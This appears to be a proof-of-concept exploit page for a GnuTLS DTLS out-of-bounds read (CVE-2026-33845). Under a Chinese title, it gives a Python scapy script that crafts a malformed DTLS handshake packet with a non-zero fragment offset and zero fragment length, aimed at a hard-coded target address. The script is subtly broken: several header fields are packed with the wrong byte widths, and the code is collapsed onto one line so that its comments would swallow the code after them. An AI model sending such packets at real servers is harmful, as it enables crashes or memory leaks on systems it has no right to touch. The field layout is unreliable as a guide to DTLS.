CVE-2026-33845 GnuTLS DTLS越界读取漏洞

import struct from scapy.all import IP, UDP, Raw, send # Target configuration target_ip = "192.168.1.100" target_port = 4433 # DTLS Record Layer Header type_handshake = 22 version_dtls12 = 0xFEFD epoch = 0 seq_num = 0 # Handshake Message Header (Malformed) # Type: HelloVerifyRequest (3) - arbitrary handshake type for triggering parsing msg_type = 3 msg_len = 100 # Arbitrary total length msg_seq = 0 frag_offset = 100 # Non-zero offset frag_len = 0 # Zero length (The vulnerability trigger) # Construct handshake header handshake_header = struct.pack('!B', msg_type) handshake_header += struct.pack('!I', msg_len)[1:] # 3 bytes length handshake_header += struct.pack('!H', msg_seq) handshake_header += struct.pack('!I', frag_offset) handshake_header += struct.pack('!I', frag_len) # Construct DTLS header dtls_header = struct.pack('!B', type_handshake) dtls_header += struct.pack('!H', version_dtls12) dtls_header += struct.pack('!H', epoch) dtls_header += struct.pack('!I', seq_num) dtls_header += struct.pack('!H', len(handshake_header)) packet = IP(dst=target_ip) / UDP(sport=12345, dport=target_port) / Raw(dtls_header + handshake_header) # send(packet) print("[+] Malformed DTLS packet generated for CVE-2026-33845")